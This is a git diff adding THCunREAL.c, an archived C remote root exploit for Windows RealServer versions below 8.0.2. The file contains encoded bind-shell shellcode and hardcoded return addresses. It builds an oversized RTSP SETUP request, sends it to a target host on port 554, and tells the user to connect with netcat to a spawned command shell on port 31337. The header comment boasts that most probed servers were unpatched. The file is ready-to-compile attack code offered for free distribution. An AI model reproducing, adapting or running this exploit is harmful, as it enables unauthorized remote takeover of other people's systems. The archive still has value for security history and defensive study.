initial push of all stuff :)
[oweals/thc-archive.git] / Exploits / THCunREAL.c
diff --git a/Exploits/THCunREAL.c b/Exploits/THCunREAL.c
new file mode 100644 (file)
index 0000000..b999114
--- /dev/null
@@ -0,0 +1,151 @@
+/*****************************************************************************/\r
+/* THCunREAL 0.2 - Wind0wZ remote root exploit                               */\r
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */\r
+/* THC PUBLIC SOURCE MATERIALS                                               */\r
+/*                                                                           */\r
+/* The exploit can be freely distributed !                                   */\r
+/*                                                                           */\r
+/* This is the much more reliable version of the Realserver < 8.0.2 exploit  */\r
+/* Tested with different OSes and Realserver Versions                        */\r
+/*                                                                           */\r
+/* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554     */\r
+/* i noticed that 99% of the probed machines are not up2date yet ! =;O)      */\r
+/*                                                                           */\r
+/* The shellcode is much shorter than the one in version 0.1 now and of      */\r
+/* course offsetless ! The encoder in front of the exploit is needed coz the */\r
+/* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free !      */\r
+/*                                                                           */\r
+/* After successful exploitation of this bug, a commandshell should spawn on */\r
+/* TCP port 31337 ! Use netcat to connect to this port !                     */\r
+/*                                                                           */\r
+/* If there's no connectable port 31337, maybe it's blocked by a firewall !  */\r
+/*                                                                           */\r
+/* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8    */\r
+/* runs on. I just know it's also exploitable on other OSs !                 */\r
+/* So if u wanna exploit other platforms, try to get Realserver 8 and use    */\r
+/* gdb to find out, how this can be exploited ! Good luck !                  */\r
+/*                                                                           */\r
+/* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib              */\r
+/*                                                                           */\r
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */\r
+/* scut, stealth, zip, zilvio and the rest of the combo ......               */\r
+/*****************************************************************************/\r
+\r
+#include <stdio.h>\r
+#include <stdlib.h>\r
+#include <string.h>\r
+#include <winsock2.h>\r
+\r
+char w32portshell[] =\r
+"\x8b\xfa\x33\xc9\xb2\x35\x90\x90\x90\x66\x81\xc1\x38\x01\x83"\r
+"\xc7\x1a\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16\x4f\x5c"\r
+"\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1\x36\xc5"\r
+"\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71\x79\x79"\r
+"\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f\x05\x6c"\r
+"\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d\xb8\x6a"\r
+"\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29\x34\xcc"\r
+"\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce\x04\xfc"\r
+"\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4\xd7\xb1"\r
+"\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c\x25\x40"\r
+"\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25\x74\x3a"\r
+"\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc\x71\xb8"\r
+"\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78\x17\xb8"\r
+"\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30\xb5\x70"\r
+"\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca\xca\xbc"\r
+"\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2\x60\x6d"\r
+"\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62\xca\x60"\r
+"\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca\x60\xd1"\r
+"\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b\x50\x4d"\r
+"\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1\x62\x62"\r
+"\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65\xb8\x70"\r
+"\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66\x66\x60"\r
+"\xca\x60\xd9\x5f\xca\xca\x60\xd5";\r
+\r
+void usage();\r
+\r
+int main(int argc, char *argv[])\r
+{  \r
+  unsigned short realport=554;\r
+  unsigned int sock,addr,i,rc;\r
+  unsigned char exploit_buffer[4132];\r
+  unsigned long retloc1,retloc2,retaddr;\r
+  struct sockaddr_in mytcp;\r
+  struct hostent * hp;\r
+  WSADATA wsaData;\r
+\r
+  printf("\nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2\n");\r
+  printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");\r
+\r
+  if(argc<2)\r
+   usage();\r
+\r
+ retloc1 = 0x6235108c; \r
+ retloc2 = 0x623514b6;\r
+ retaddr = 0x62354f5e;\r
+\r
+ memset(exploit_buffer,'Z',4131);\r
+ memcpy(exploit_buffer,"SETUP /",7);\r
+ *(unsigned long *)&exploit_buffer[4082] = retloc1;\r
+ *(unsigned long *)&exploit_buffer[4086] = retloc2;\r
+ memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell));\r
+ *(unsigned long *)&exploit_buffer[4090] = retaddr;\r
+ memcpy(&exploit_buffer[4094],"\x83\xc2\x19\x52\xc3",5);\r
+ memcpy(&exploit_buffer[4099]," RTSP/1.0\r\nTransport: THCr0x!\r\n\r\n",33);\r
\r
+  if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)\r
+  {\r
+   printf("WSAStartup failed !\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  hp = gethostbyname(argv[1]);\r
+\r
+  if (!hp){\r
+   addr = inet_addr(argv[1]);\r
+  }\r
+  if ((!hp)  && (addr == INADDR_NONE) )\r
+  {\r
+   printf("Unable to resolve %s\n",argv[1]);\r
+   exit(-1);\r
+  }\r
+\r
+  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);\r
+  if (!sock)\r
+  { \r
+   printf("socket() error...\n");\r
+   exit(-1);\r
+  }\r
+  \r
+  if (hp != NULL)\r
+   memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);\r
+  else\r
+   mytcp.sin_addr.s_addr = addr;\r
+\r
+  if (hp)\r
+   mytcp.sin_family = hp->h_addrtype;\r
+  else\r
+   mytcp.sin_family = AF_INET;\r
+\r
+  mytcp.sin_port=htons(realport);\r
\r
+  rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));\r
+  if(rc==0)\r
+  {\r
+    send(sock,exploit_buffer,4131,0);\r
+    printf("\nexploit send .... sleeping a while ....\n");\r
+    Sleep(1000);\r
+    printf("\nok ... now try to connect to port 31337 via netcat !\n");\r
+  }\r
+  else\r
+   printf("can't connect to realserver port!\n");\r
+  \r
+  shutdown(sock,1);\r
+  closesocket(sock);\r
+  exit(0);\r
+}\r
\r
+void usage()\r
+{\r
+ printf("\nUsage:  <Host>\n");\r
+ exit(0);\r
+}\r